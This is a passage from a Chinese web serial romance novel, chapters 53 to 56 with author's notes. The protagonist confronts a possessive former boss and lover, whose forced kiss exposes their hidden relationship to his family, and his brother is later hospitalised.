乔施珩打断他：“事情才结束，工作的事情急什么，让大家都缓缓。”他想到：“我还得请潘以佳吃饭呢，她也是为这个事情操心。” “那这样吧，你找个时间把她叫到家里来吃顿饭。”乔施军又做起美梦：“我看那孩子就好，能力那么强，配你还能配不过吗？” 太芬把馒头塞他嘴里，“吃你的，就是废话多。” 乔施珩倒是觉得不错，“可以啊，反正她每周都回来，找个周五晚上吧。” 乔施文跟着乔施军一起诧异：“真的假的？你想通了？” “来家里吃顿饭而已，邻里邻居吃顿饭怎么了？”太芬拉开凳子坐下，“你们就少说点这个事，阿珩自己有主意呢。” 乔施军虽然嘴上抱怨几句，但到底也没说什么，就叮嘱太芬得多买点菜。 乔施珩本来约好了要去蒙久的店里吃饭，恰好杜慧慧也要约他，索性他就带着杜慧慧一起去了蒙久的店里。 “我跟你说，我都快不想干了。”杜慧慧指着自己的手机，“你知道我忙到看到八卦里的主角名字跟你就差一个字的时候，都没想起来她可能跟你有关系。我光顾着写稿子跑宣传了。” “没事。”乔施珩看她确实瘦了，“这么忙吗？” “我是真不想干了。”杜慧慧摆手，她很无奈，“我一定会考走的，我都把扔掉的书买回来了。” 乔施珩羡慕她：“这么忙还有精力学习，很厉害了。” “厉害什么呀。”她忍不住抱怨，“要不是当初郑先生把我给调走，我还在金石区逍遥”她意识到自己说漏嘴了，立刻看向乔施珩，而乔施珩也在看她—— 作者有话说：最近都会有点忙，大家也可以囤点再看[求求你了] 第53章 “有什么事吗？” “你别这么看我，我也是前阵子跟我们这边大领导出去吃饭听他说起才知道。”杜慧慧倒是不觉得有什么，她很乐观，“再说了，他只是把我挪到了隔壁区，也没把我发配到偏僻的地方。况且，你都跟他断了，我还提起来干什么，我都没当回事。” 乔施珩虽然知道杜慧慧不会介意，也知道她很乐观，但他仍然觉得抱歉，“抱歉，如果你没在南湖区，也不会这么忙。” “没事，没事。”杜慧慧很大方，只是她认为：“当时我和你走得比较近，他就把我挪走了，那证明他还是有危机感的，现在估计肠子都悔青了吧。” 又愤恨地补了一句，“渣男就该遭到报应。” 蒙久把串上上来，“什么渣男？你遇到渣男了？” 来的时候已经互相介绍过了，杜慧慧倒是岔开了话题，“这怎么还麻烦老板亲自上菜。” “你们可是贵宾，我必须得亲自服务。”蒙久坐下来，问乔施珩：“前阵子那新闻我看了，视频我也看了，虽然你被打码了，但是我也看出来了，想着你可能太烦了，就没找你过来。” 三个人就乔施文的事情讨论了半天。蒙久知道的事情比杜慧慧要少，所以他们也没有再就郑先生的事情聊下去。反而是乔施珩需要问他一些关于店租的事情。 蒙久确实有门路，答应找朋友帮他在另一个距离他们家近一些的玉海小区后街租个很小的店面，一年的店租不会很贵。 “不过店面确实不大，你们做串串的不需要留人堂食，所以也不需要太大的店面。” “那实在太感谢了。” “小事，咱们都认识多少年了。”蒙久说完这个话，又忽然唉声叹气起来。 “怎么了？有什么烦心的事情？” “女朋友不愿意跟我到这边生活，我想着在她那边也开个这样的店，店面已经在装修了，以后大概率要两头跑，或者我就干脆去她那边发展了。” 杜慧慧惊叹：“你入赘啦？” “没有，就是觉得她跟我过来肯定有顾虑，不如我过去。” “你是什么绝世好男人，这天下的男人要是都像你这样，还愁什么结婚率上不去。”杜慧慧又奇怪：“你妈能同意吗？” “没事，他们都比较开明。” 乔施珩问他：“大概什么时候能开业？” “暂时没定好，不过装修好了应该也就快了，现在主要是我其实不知道能不能忙得过来。”蒙久犯愁，“虽然我父母没表示反对，但是他们年纪也大了，我过去又怕照顾不了他们，真是家家有本难念的经。” “那你招个店长帮你开店不就不行了。”杜慧慧给他出主意，“你就当幕后老板，出钱收钱就行，活儿别人干呗。” “有道理。”蒙久举起饮料，“来来来，喝一杯。” 杜慧慧虽然真的不介意自己被调走这件事情，但送乔施珩回家的时候还是特意强调了一下，怕乔施珩会因为这件事情心中不痛快。“我今天说漏嘴那个事情，你真的别介意，我现在忙是忙了点，但工资高啊。”她担忧，“你可不要去找郑先生了，既然断了就断了最好。” 乔施珩知道杜慧慧在宽他的心，可他确实也对她感到抱歉，如果没有自己这回事，她还在金石区的大楼里安安心心办公，没这么多事情要忙了。他其实还是想去找郑先生的，想让他把杜慧慧调回去，但他也知道郑先生有一套自己的说辞。 乔施文这件事情淡下去之后，她每天都要往外跑。 “又干什么去了？”乔施军看着她一筷子没动的粥，“拿个馒头就跑，不知道的还以为她是什么集团大总裁，忙成这样。” “爸爸，集团大总裁才不会吃馒头呢！” “吃你的饭。” 乔施珩想：“可能去找工作了吧。” “那店面的事情整好了吗？”乔施军问他：“什么时候能过去开业？” “定金交了，蒙久说这几天就能签合同。” 太芬过来坐下，“我听说玉海小区是个非常大的小区，不过也有些年头了。他们小区后面要规划一个大型商场，到时候人流量不会差。”她很满意，“离咱们家也不远，我那三轮车推不过去，得把东西都拿过去，我早点过去做。” 这件事情解决的同时，陈新的仓库也恢复了常态。 陈新说要请大家吃饭，结果这回去的人多，三桌都差点不够坐。乔施珩以为人多终于不用喝酒，没想到人多这酒就喝得越多，连陈新说不喝他们都不让，就不用说乔施珩了。 喝到一半，外面下起了大雨，有些员工就提前走了。 本来乔施珩也要先溜，被宋来他们拉着又喝了一会儿。 一桌子的酒鬼，一个能开车的都没有。乔施珩本来想叫个车，拿起手机按了几下都没按对APP，他觉得自己眼花手也抖，一个不留神，来了电话，接听键倒是让他按对了。 手机里露出冯昭的鸡窝头来，他瘫痪在床，看到这边喝醉的乔施珩后，他坐起来，“搁哪儿浪呢？” “聚餐呢。”乔施珩有点大舌头，“没事挂了。” 冯昭找他一般不会有什么正事，于是他就要挂电话，那边冯昭立即说：“在哪呢？我有天大的事情要找你。” “你能有什么天大的事情。” “真的我发誓，你看我没事我都懒得找你。” “那你说，你现在就说。” 乔施珩说着，宋来凑过来，“跟谁视频呢？你弟啊？” “哪来的黑猩猩……”冯昭捂住嘴，问他：“兄弟，你们在哪儿喝酒呢？” 宋来嘴里不把门，“雨华街三山大酒店。” 那边冯昭火速挂断了视频。 喝到最后，大家都东倒西歪，陈新更是喝高了，路都走不了，典师傅几个人把他扶上车送回去。乔施珩从卫生间出来，只剩宋来在门口等女朋友来接，也是到这个时候乔施珩才见到他的女朋友，一个很朴实的女孩子。 “你还能回去吗？我看你走路都歪。”宋来好心，“我们把你先送回去。” 宋来女朋友开的车小巧粉嫩，乔施珩才准备上车，后面就传来喇叭声，接着冯昭车都没熄火就下车跑过来，“往哪儿去呢？我要来晚了一步可真就扑空了。” 宋来怔了一下，“你弟啊？” “小乔哥，真有天大的事情。”冯昭撑着伞，把他拽过来，往自己车跟前带，“走走走，容我向你汇报。” 乔施珩跟着他上了车，结果车开出去没多久，他就要吐，而冯昭还在絮絮叨叨不知道在说什么，他已经听不清了，他拍了半天的车窗，最后全吐在了他的车上。 冯昭：“……” 乔施珩倒是想体验一把断片的感觉，但他却一点片都没断，甚至还能记得冯昭最后把他拖下车的时候他还吐了冯昭一身，气得冯昭把伞都扔了。 他翻了个身，看到婷婷正在他的床前看着他，“怎么了婷婷？” “叔叔，楼下有人找你，我妈妈让我来喊你。” 乔施珩素着一张脸下楼，看到冯昭坐在客厅里，正在跟乔施文说什么事情，看到他下来，冯昭立即说：“小乔哥，中午出去吃啊，当你还我洗车钱了。”他又招呼乔施文，“你也去。” 乔施文很嫌弃他，“你洗个车的钱还找人要啊，我不去，我忙着呢。” “你忙什么啊？我不是说了你要想找工作就跟我说吗？这样，我回去给你找个好岗位。” “你少操心啊。”乔施文抓着包起来，“走了。” 冯昭看她穿着简约，做事也利索，不禁皱起眉，“小乔哥你还别说，乔施文这是真转性了。” 乔施珩去卫生间洗漱，抽个空出来问他：“想吃什么？” “这么爽快啊？我还以为你要跟我推三阻四。”冯昭认真想了想，就听到旁边婷婷提示他：“吃猪骨鸡排面。” 冯昭看向这个扎了两个马尾辫的小女孩，问她：“你想吃猪骨鸡排面吗？” 婷婷点点头。 “那就这个，你们也去。” 于是，乔施珩带着三个孩子去了最近一家商场里吃面。 “你昨天不是说有事儿要说？” 冯昭吸溜完面，“我马上要有舅妈了，你现在看清我舅真面目了吧？” “没意思。”乔施珩烦他总是提盛逸则，“没话说就不要说，吃面。” “为什么啊？我舅喜欢你这谁看不出来，你不是拒绝他了吗？”冯昭想当然：“所以他准备给我找个舅妈，和他一起来气我。” 倒是轩轩瞪大了眼睛，“你舅舅喜欢谁呀？” 冯昭差点让面噎死，“我舅他是个女的，他喜欢你叔叔。” “你舅舅为什么是女的？” 冯昭瞎话随口就来，“他前几年去泰国变性了，就是从男的变成了女的。” 乔施珩听不下去，打断了他们，“别听他瞎说，他开玩笑的。” 吃完饭，冯昭不想走，要带轩轩和婷婷逛商场，一路上不管轩轩和婷婷要不要，只要他看中就必须买，气得乔施珩跟他拧半天。 “我有钱怎么了？我就想送他们，不要钱的东西你都不要。” “不要就是不要。” 轩轩也说：“哥哥，叔叔说不能白拿别人的东西。” 几人争论半天，忽然乔施珩顿住了，他的前方，一家儿童服装店的门口，站着的人竟然是郑先生。 他似乎是一个人，而且显然已经看了他们有一段时间了。 乔施珩移开目光，“走吧，回去吧。” 但还没走出去几步，郑祉桓已经追了过来，“乔施珩！” 冯昭比乔施珩先转头，他盯着郑祉桓看了半天，才想起他是谁，但没等他说话，郑祉桓就先开口，“乔施珩。” 冯昭差点翻白眼，“大叔，你有事就说，光喊人有什么用？” 乔施珩转身看他，“有什么事吗？” 郑祉桓看了他半天，不知道该怎么说，又或者碍于这里有别人，有些话他不能说，最终他解释：“森森要过生日，这家服装店有他喜欢的鸭子服装，我抽空来看看。” 乔施珩点点头，“那挺巧的。” 冯昭的视线在两人之间来回倒腾，“寒暄完了？那走吧。” 乔施珩走出很远，拐了个弯，看到郑先生还是之前的样子，站在那里看着他。 下了电梯他们到了停车场，冯昭忘记了车停在哪里，到处去找车，乔施珩就站在原地带着轩轩和婷婷等他。 接着他就看到对面的电梯间里，郑先生夹在几个人之间走了出来，他在停车场四处张望，似乎在找人，接着，他的目光透过不停进出的车辆与他对上。 他穿过车辆走到他面前。 “乔施珩，我们谈谈。” 第54章 “先生，不是我轻视了这…… 乔施珩看了看身前的轩轩和婷婷，他确实想跟他谈谈杜慧慧的事情。所以冯昭车开过来的时候，他让轩轩和婷婷先上车，自己留下来。但冯昭显然不认同他的做法，他也不管车停的不是地方，下车后甩上车门走过来，他看向郑祉桓，“你们什么关系？” 乔施珩急忙挡在冯昭身前，“之前你见过，我前老板，我们有些” 冯昭低头看他：“你前男友是不是？” 不止乔施珩，就连一边的郑祉桓都是一怔，比起乔施珩的无措，郑祉桓的眼神却逐渐清明起来。 “你别想什么主意糊弄我。”冯昭抬眼去看郑祉桓，话却是对着乔施珩说：“我舅舅是什么人我知道，他可不会搞直掰弯那套。” 郑祉桓倒是嗤笑一声：“年纪不大，管得倒是多。与其在这里充大人，不如替你叔叔想想出路。”他压下眉眼，“还是你以为你舅舅能从你叔叔的事情中摘干净？” 冯昭咬紧后槽牙，“你这个” 乔施珩按住他的胳膊，“别冲动，他讲话就是难听。” 轩轩和婷婷还在车里，乔施珩不想让他们等着，况且冯昭跟郑先生之间也不和谐，于是他安抚冯昭，“你先把轩轩和婷婷送回家。” 冯昭压下他的手腕，抬手反握他的胳膊，“分手的话你还有什么必要理会他的纠缠？一起回去。” 郑祉桓没动，他只是冷眼看着冯昭。 “我确实有事想要跟他谈谈。”乔施珩拍拍他的胳膊，“没事，你们先走。” 冯昭心有不甘，但看乔施珩似乎真的有事，他恨恨扫了眼郑祉桓，转身上车了。 等冯昭的车走远了，乔施珩才抬脚往电梯的方向走。 郑祉桓跟在他的后面，“去哪儿？” 乔施珩没答话，直到他再一次提高声音问他：“去哪儿？” “难道你要在这地下停车场跟我谈吗？” 他的声音有些大，言语也不客气，充满了不耐烦，甚至他说完就意识到自己语气不合适，但郑祉桓却意外地笑了。见惯了他面无表情的样子，胸有成竹的样子，运筹帷幄的样子，最近也偶尔见到了他的茫然无措，惊慌无助乔施珩此刻听到他笑声清亮，竟觉得他好像没那么遥远、缥缈了。 他们进了电梯，到了负一层，乔施珩找了个甜品小店的角落坐了下来。 郑祉桓今日穿着休闲，但仍然有些成熟，与这粉嫩的甜品店格格不入，甚至这里的桌椅板凳也被他的身形衬得格外小巧。 乔施珩顺手帮他点了一杯和自己一样的饮料，他知道他不喝。 “不在我手底下做事，胆子也变大了，和我说话这么不客气。” 乔施珩不理会他这些话，“之前你在金石区的时候，把杜慧慧给调去了南湖区？” 郑祉桓脸色倒是没变，只是眼中笑意消散了一些，“是正常的人事调动，只是人是我定下来的。” 也就是说有这个事情，但他在几个人选之中选择了杜慧慧。 “是因为她和我的绯闻吗？” “不全是。”郑祉桓转着桌上那杯饮料，让它在桌上来回小幅度滑动。“第一次见你和一位女性朋友走得那么近，当然我明白，你们没有其他关系。” “如果正常选择，能选到她吗？” “人选由ZX部定，并不排除这种可能。” 乔施珩想到他刚刚说冯昭的话，“那冯昭的叔叔又是怎么回事？” “前阵子的事情闹那么大，他叔叔也牵扯其中，不过如果自身没有问题，是牵扯不进去的。”郑祉桓敲桌子，神情自然切换到平时的那种端着的姿态来，“所以盛逸则现在应该也没什么时间来纠缠你，他的麻烦可不算小。” 乔施珩不知道还应该说什么了，这些人和事，其实他了解得都不太多。他只是不明白，“你这样做有什么意思呢？把杜慧慧调走，让她很难适应现在的工作节奏，一直很忙。又去找陈新的麻烦，弄出这些乱七八糟的事情来，你只需要签个字，点个头，示个意，你都没有想过别人的感受。” 郑祉桓又敲了敲桌子，他眉眼紧蹙的时候就会显得很严肃，“首先，我可以告诉你，我有针对的成分，但契机不在我。其次，所有事情都是建立在正常工作状态的结果之上，我个人在其中所起到的作用有限。最后，我错判了你的决心，我不想跟你从此相别。” 他的话终于软了下来，带了一些可能他自己都没有察觉的恳求，“别和我从此陌路。” “为什么？”乔施珩无意识握紧了手中的饮料杯，“为什么总是想要我回去？” “我从来就没有想过你会走。”郑祉桓很不能理解，“我不会再选择结婚，也不会再有乱七八糟的人，就只有我们两个人一起生活，我们不是一直这样吗？” “我说了，我们不是一直这样。”乔施珩不再妥协也不再忍耐，“就算你不结婚，没有那些乱七八糟的人，你和我也已经走到尽头了。我早就说过了，我们不会一辈子这样，这世界上不会有两个人，能将雇佣关系保持一辈子，也不会有两个人，能做p友做一辈子。” 他这番话显然又在郑祉桓的理解范围之外，“这些年在你看来，就只是雇佣关系，甚至于你认为我们之间是这样不堪的关系？” 乔施珩在这瞬间几乎就要被愤怒控制了理智。他自以为从不在意的那些轻慢、忽视，都在这个时间点汹涌，那些他刻意隐藏起来的记忆，下定决心要封存的往事都在被他一遍又一遍自我催眠，自我和解之后的这个时候翻腾。他不明白，为什么到了现在郑先生还可以认为是他乔施珩轻视了这段关系。 没人比乔施珩更在意这段关系，也没人能知道乔施珩为了维持这段关系付出了多少，隐忍了多少，他自觉卑微不敢逾越，是他的错。可当他放弃后，这位高高在上的郑先生却反过来指责他，是他定义错了这段关系。 这世界上最没资格指责他的人，就是眼前这一位。 可他这些汹涌翻腾的情绪，又都被他压制住了。 他已经不想再说起这些。 “先生，你但凡尊重我一些，都不可能说出这样的话。你看我，永远是俯视的，在你的视角里，我与你从不平等。我应该跟随你，因为你付了我薪水，这是雇佣关系。薪水超出一般价格，多出来的是我为你提供超出雇佣关系之外的其他关系所得到的报酬。” “已经很多年，没涨过价了。” “先生，不是我轻视了这段关系，而是我们之间，就是这种关系。” 出了商场，乔施珩从商场后面的街道转进了一条人流量不多的巷道之中，这里两边的店面都装修得很有特色，风景也不错，最主要的是距离公交车站台近。他的目光落在玻璃窗里那些精致的木艺手工摆件上，最终落在一个木质小帆船上，那小帆船上站着个小女孩，颇有乘风破浪的意味。他想，如果送给乔施文，应该会很合适。 买完摆件出来，就看到郑先生等在店的前面。 乔施珩想转头往另一边走，却轻易被他追上。 “乔施珩，我没有不尊重你，我也不认为我们之间是这种不堪的关系。”他解释：“我之所以后来做这些让你感到讨厌的事情，是我不相信你真的会不需要我，我不知道怎么办你才会回来，你才能够回来。” 比起他，乔施珩冷静很多。 “抱歉先生，我已经一而再再而三地说过，我不会回去了。你这样纠缠，不像你的风格。而且，你想找什么样的人都会有，不用执着让我回去。” “我不想找别人，我也没有别人。”郑祉桓深吸一口气，像是鼓起了极大的勇气，“乔施珩，我们交往。” 乔施珩有一瞬间的怔愣。 “我们不是那种不堪的关系，我也不希望你把它定义成这样的关系。”他显得有些苦恼，无意识示弱：“我不知道交往应该是怎么样，也没有想过这个问题，但是和你的话，我觉得没关系。所以，我们交往。” 乔施珩真是懂了那句，人无语的时候，真的会笑。 “先生，别做这些可笑的事情了，该说的话我也已经都说完了。以后别再做过分事情，给别人找麻烦。我可以忍受不公平的对待，但我不能忍受别人因为我而遭受不必要的麻烦。” 拿着这个昂贵的摆件回到家，轩轩正在一边拼乐高，而婷婷则在一边画画，显然这些新东西，都是冯昭买的。 “冯叔叔呢？” 这时乔施文从楼上下来，“我回来了，所以他走了。” “这个送给你，希望你以后也能够一直勇敢，做乘风破浪的小女孩。”乔施珩把摆件递给她。 乔施文很高兴，她抱着摆件拍了很多照片，甚至还宣布：“晚上我亲自下厨，正好也有事要告诉你们。” “什么事儿？喜事吗？”乔施珩以为她找到了新工作。 “反正是好事！” 正巧这个时候潘以佳给他发信息，问他在不在家，说自己家超市西瓜卖不完，要给他拿点。 “那晚上我把潘以佳也叫来，可就看你手艺了啊。” “没问题，我还能不会做饭不成。” 乔施文会做饭，但做个饭总是丢三落四，一会儿酱油找不着，一会儿醋找不着，都要乔施珩跟在旁边打下手。 “大嫂说她串儿都卖完了，今天周末人多，提前关店回来，下次多备点。”乔施文一边炒菜一边说：“生意这么好，回头得让大哥多喝两杯。” “你火关小点，烧焦了。” “哎呀哥你别老指手画脚。”她翻了翻调料瓶，“没味精了，哥你快跑去王圆家超市买点，她姨妈来帮她家看店的。” 乔施珩被她支出去买味精。 王圆家超市里果然坐着个四五十岁的阿姨，乔施珩想了想还是问：“王圆什么时候能回来看店？”他是想问问看她家情况好不好。 “估计快了，最迟也就再过一个周。”阿姨笑呵呵问他：“认识圆圆啊？” “住这附近，经常来。” 寒暄几句，乔施珩拿着味精离店回家。 只是他没想到，还会在自己家门口看到郑先生，明明自己刚刚去超市的时候，没有碰到他。那可能就是他在店里的时候郑先生正巧过去了。 对他这种纠缠，乔施珩很反感，明明该说的都说了。 走近了，才发现他喝酒了，而且看起来喝得还不少。 见到乔施珩，他却没有急着说什么。 乔施珩也不想跟他说什么，一时间两人站着，谁也没有说话。 直到郑祉桓莫名其妙笑起来，“乔施珩，我发现你真的很厉害。你没了我，日子也可以过得不错。” 乔施珩不知道他想说什么，但看起来，他似乎真的有点喝醉了。 “我在求你。我那么求你。”他走过来，脚步却并不虚浮，“我说我们交往，你都无动于衷。你还想我怎么样？我应该怎么样？我能做的都做了。” “先生，你别这样，给彼此都留一点余地。” “余地？”他像是听到了什么笑话，“你给我留余地了吗？” “我犯错，我死刑。”他凑近乔施珩：“我从来都不知道，你心这么狠。” 他双手按住乔施珩的肩，“不是我，以后你是不是就会有别人？” “先生，你别这样了。” “回答我！” 乔施珩退无可退，郑先生几乎是与他鼻尖对鼻尖，这样的距离让他觉得窒息，而郑先生声调很高，带有一定的压迫性，但他还是推拒，“发什么酒疯，我以后怎么样跟你没有关系了！” “没关系？”郑祉桓的双手捧住他的脸，“别说这样的话，阿珩。”他的声音阴沉：“很危险。” 乔施珩觉得压抑，他一只手搭在他的肩上，想推开他。但他推不开，也挣脱不了他的钳制，他觉得自己的脸颊已经充血了，连说话都有些说不清楚，而郑祉桓也没有给他说话的机会。 他亲吻他。 而同时，他口袋里的手机在震动，而不远处也传来什么东西掉在地上的声音。 乔施珩几乎是用尽全力推开了他，而在那瞬间，他的大脑一片空白。 家门口，乔施文拿着铲子在院门前看着他们，而另一边乔施军手中拎着的袋子掉在了地上，太芬站在他的旁边，而太芬的旁边还站着潘以佳。 灯光太暗了，乔施珩看不清他们的表情。 只有郑祉桓身体前倾，他看着乔施珩，脸色阴暗。 “糟糕，秘密被发现了。”—— 作者有话说：[小丑]怎么写都不满意，就这样了[小丑]反正我也是l奔[愤怒]我就摆烂！我不摆纯烂[愤怒][爆哭]（发疯）[爆哭] 第55章 “对不起，我也不想事情…… 接着，他低声笑起来，这笑声只有他和乔施珩能听到，“怎么办啊乔施珩？”他伸出手指摩挲乔施珩的唇，却被乔施珩抓住，乔施珩也说不清自己这瞬间的感受，太多种情绪混杂了，有被迫被发现这段关系的恐慌，有对眼前这个始作俑者的愤怒，也有对即将到来的别人看他眼光的担忧，还有这件事情曝光后他内心深处的一种羞耻感难以形容。 可事情已经发生了，他在这个时候只能在心里一遍一遍暗示自己冷静。 “太可笑了。”乔施珩松开他的手，“我只是个普通人，这段关系曝光又怎么样？无非被人责备，指点，议论，那又怎么样？” 他一反常态，逼近了郑祉桓几步，“可你不一样，你不是我这样一无所有的普通人。” 他带有一定程度的威胁，郑祉桓却仍然是低笑，“你也知道我不是一无所有的普通人。”他这点低笑声很快就消失了，阴森地重复：“你也知道我不是一无所有的普通人。” “我所走的每一步，都是我权衡后认为是当下可以选择的，最好的一步。我也不希望你一直跟着我在各个偏远的地方辗转，那太枯燥了，但是回来后很多事会脱离我的掌控。” “我没有绝对的话语权，我还没有做到那个地步，拥有话语权的也不可能是一个人，而是一群人，你能明白吗？” “很多话，解释起来苍白，并不具有可信度，所以在做的时候我就已经做好了永远不会解释的准备。” “我一直坚定地认为你会选择我，无论是怎样的我。” “我也没想过对你做什么狠心的事情，借着契机做的那点事，也是不希望与你再没什么瓜葛。我总是希望你能来找我，我总是抱有一丝希望。” “我做了我能做到的所有事情，但在你看来，所有的事情都是可笑的。” “是，我或许可笑。但我就罪该万死吗？” “我们在一起十年，不是十天，十个月。如果我人品低劣，心术不正，我该死，那我没什么好说。可你为什么这么狠心” 郑祉桓顿了顿，仍然选择了说出来，“不管我怎么挽留，你都不在乎。你离开我，你可以有很多朋友，有各种人围在你身边，可我没有别人了。” 他的气势突然弱了下来，像是那憋着的一口气终于倾泻完成，“我就只有你。” 乔施珩的言语哽在喉头，爱这个字太奢侈了，他是个胆小鬼，他不敢问，也已经放弃了。他以为他走出了乌龟壳，可走到头来，他发现他还是困在了这龟壳之中。连天的大雨淹没了他这只慢吞吞的乌龟，连这可怜的龟壳里也浸满了雨水，几乎将他溺毙。 乔施珩明白，他们两个人之间不可能谈出什么结果，就算继续在一起，也只会重蹈覆辙。 一个不敢，一个不懂，他们根本不合适。 而自己，在失去拥有感情的可能性后，连这可怜的最后一点自尊都没能留下，被迫对最亲近的人暴露隐私，这原本，是他最害怕的事情。 寂静的客厅里，还留有饭菜的香味，可此刻却没人关心那逐渐冷掉的饭菜。 乔施珩站在茶几边，不知道该怎么解释。就连乔施文也依旧是拿着炒菜的铲子低头坐着，不知道想了些什么。 太芬将轩轩和婷婷送上楼，挪着不方便的腿走下来，在沙发的扶手上半坐着。 在这诡异的静默中，乔施军忽然按着自己的脸扇起来，这突如其来的巴掌声惊了几人，太芬和乔施文几乎同时扑过去，一人按住他一只胳膊。 “大哥，你干什么？” “孩儿他爸，干什么你！” 乔施军在扇完自己后，仰面嚎啕大哭。这个一辈子困在市井的小民，没什么眼界，也没有学问，拿着点残疾补贴，被人戳了半辈子脊梁骨，说他靠弟弟生活。没人在他面前说，他就当不知道，该打麻将打麻将，该下棋就去下棋，照样能搬着个小板凳混入邻里邻居之间，该占的便宜要占，不该占的便宜也会想点办法去占，家里的活从来不伸手，却总是背个手想当一把大哥。 装聋作哑半辈子过去了，此刻却哭得撕心裂肺，捶胸顿足，他不停地问怎么会这样，怎么会这样。 乔施珩茫然地站着，脑海中一片空白。 他想起多年前那天半夜他收拾东西时，乔施军也是坐在这个位置唉声叹气，一边说不希望他去，一边又叮嘱他自己在外面要注意安全。第二天早上，他瘸着腿，把他送到巷子口，塞给他五百块钱，告诉他要是不想干了就回家。 “哥，对不起。”乔施珩想说什么，又不知道说什么，反而在这瞬间他不可抑制地红了眼眶，他觉得整个人都被一种泛酸的感觉淹没了，几乎就要克制不住。 “是我对不起你，是我对不起你啊。” 太芬皱着眉，“都已经这样了，你这么个样子又有什么用呢？再说阿珩不是已经辞职了。” 乔施文跟着附和：“是啊，大哥，没那么糟糕，再说了，现在这个社会已经很宽容了，只是你不知道而已。” 乔施军仍然无法抽离这种情绪，甚至到最后竟呼吸不上来，弄得大家手足无措，好不容易才缓过来。 他缓过来以后，平复了一会儿，指着乔施珩问：“是他逼你的吗？他有权有势，是不是逼你了？” 乔施珩愣愣站着，他知道自己说不了假话，到了这个时候，他已经没有隐瞒的必要了。 “是我自己愿意的。” 乔施军指着他：“你，你” “他说他要调去别的地方工作，让我不要干了。我不想离开他，所以我选择跟他走了。” 乔施军的点着他的手终于无力垂下，他几乎是咬牙切齿：“所以这些年，你们都是这种见不得人的关系？” “是。”乔施珩声音没什么起伏，他尽力克制，让自己显得平稳，“但是回到云海省以后，这种关系就逐渐消亡了。后来回到了申市，我也不想跟他再保持这种关系了，所以辞职了。” “你真是真是糊涂啊！”乔施军重重叹了口气。 接着，他们又陷入了诡异的寂静之中，没人再说话了。 乔施珩只得主动打破这静谧，“对不起，我也不想事情变成这样。” “没事的阿珩，你不想干了就辞职，郑先生也是有头有脸的人物，不会一直来打扰你。”太芬犹豫了一下，“我们外人也不好评判你们之间的事情，有些主意你得自己拿，我们相信你能处理好。” “是啊，哥。”乔施文站起来，“现在社会多宽容啊，这点事算什么，别以为我们都是老古板，我可不会对你有什么不好的看法，以后你交别的男朋友，我帮你看，我火眼金睛。”她掂了掂做饭的勺子，“我看那冯昭就很可疑。”她凑近乔施珩问他：“快说，他是不是在追你？” 太芬听她这么说，有些诧异：“就是那个高高瘦瘦的男孩子吗？他是不是有点小了？” 乔施军听着窝火，“行了，你们还讨论上了，这饭我是吃不下，你们谁爱吃谁吃！” “你不吃拉倒，我还有重要事情想宣布来着！” 刚站起来的乔施军又坐下了，“你现在就说，只要你不说你喜欢女生，什么都能答应你。” 太芬和乔施文都笑起来。 这样的气氛，极大地缓解了乔施珩内心的不安与焦虑。但不知道是不是还没适应这种变化，他仍然觉得心像是悬在空中，落不下地。 饭菜已经凉了，太芬又去热了一遍。给楼上的小朋友们单独盛了一份，让乔施文送上去。 剩下的端上桌，但其实几个人也没有动筷子的欲望，尤其是乔施珩，根本吃不下。 倒是乔施文吃得很香，她清了清嗓子，“我现在要宣布重大决定了。” 乔施军显然想得跟乔施珩一样，他不紧不慢：“找到什么好工作了？还用得上宣布。” “我呢？首先要检讨一下我自己。”乔施文点了点乔施军，“当然，检讨我自己，大哥你也得反思一下你自己。” “现在还流行这种家庭会议吗？”乔施军不耐烦，“你就算当上和平村村长，也不至于整这么大阵仗，你快说。” “你这种态度就是个大问题，我自我检讨之前要先批评一下你。” “这些年我二哥为了挣钱不在家，大哥其实你也不怎么管事情，我学校开家长会你不是这里疼就是那里疼，反正你不去，我买什么问你意见你从来只会说好，我穿什么你也都说好，有一回我染指甲染头发，你夸我好看，结果回学校就被班主任勒令染回去。” “好在磕磕绊绊，也都过来了。”乔施文重重叹口气，像是终于释怀，“我呢？知道我没那个富贵命，也受到了报应，这都是我应得的我无话可说。所以，我想接下来的日子，做点有意义的事情挽救一下我的命数。” 乔施珩皱起眉头。 “我联系了美丽ZG，通过他们到西部Z教，暂时是先去两年，其他的就等两年以后再说吧。” 她此言一出，乔施军第一个反对，“你现在大好时候，跑去那么远的地方，这怎么能行？万一再让人G去大山里！” 太芬也比较犹豫，“你想好了？” 这也是乔施珩想问的。 “想好了啊，我很清醒啊，我深思熟虑绝对不是一时冲动。” 这顿饭，乔施军是注定吃不下去了，他起身朝卧室走去，重重关上了门。 太芬沉默着去收拾碗筷。 乔施文从茶几下摸出零食来，却也只是把玩着零食袋，没撕开口。 “为什么做这样的决定？”乔施珩还是想问，这确实在他意料之外。 “还能为什么。”乔施文苦笑，“我说真的呢，我命真不好，很多人都会投机取巧，很多人都能成功，毫无代价，可我却不行。投机取巧是不对，但你不觉得我差点运气吗？我要去补运啊。” “而且我也看淡了，什么情情爱爱的，没意思。不如做一些有意义的事情，这样下辈子遇到这种事情的话，我说不定就能飞上枝头变凤凰啦！” “这不好笑。”乔施珩感觉无奈，“但是我支持你去做有意义的事情。” 乔施文收起笑容，“我是真的深思熟虑了，不是为了洗白什么的。我账号都注销了，以后再重新开一个，分享分享在远方的日常。”她把零食扔给乔施珩，“以后，我也要体验一下你背井离乡的苦啦。” 乔施珩从没觉得那些年很苦，他反而觉得现在才苦，这个房子的每个人，都很苦。 他不禁会想，如果他没有回来，是不是一切都不会变？ 这天晚上，大概每个人都没能睡着。 凌晨三点多，楼下传来太芬焦急的叫声，乔施珩几乎和乔施文同时出门奔下楼。 “快快快打电话，你哥不知道怎么了。” 乔施珩冲进他们的卧室，乔施军捂着心口蜷缩在床边，已经陷入昏迷—— 作者有话说：对不起，我也不想事情变成这样[小丑] 第56章 “我会是你，最大的绊脚…… 乔施珩与太芬一起守在医院，乔施文则在家里看着孩子。 “他说他胸口闷，我以为他是还有气，就没管。”太芬懊恼：“早知道，我就多问他两句了。” “别太担心，你发现得很及时了。”乔施珩安慰她。 “上了个支架，不会影响什么吧？”太芬对这些不太了解，难免担忧。 “不会，本身他也做不了重活，帮你打打下手没问题的。” “我要他打什么下手，我虽然腿脚不利索，但做事利索着呢。”她叹气，想到自己那点小摊，“好在□□这些跑腿的事情，你朋友都帮忙做了。”她想了想，还是说：“我之前猜测你是跟郑先生闹矛盾才辞职的，没往那方面去想。只是这条路也不好走，不稳定，那个来家里的男孩子跟你年纪差得有些大了。” “想什么呢。”乔施珩无奈地笑，“我跟他不是那种关系，他还小，我也没往这方面考虑过。” 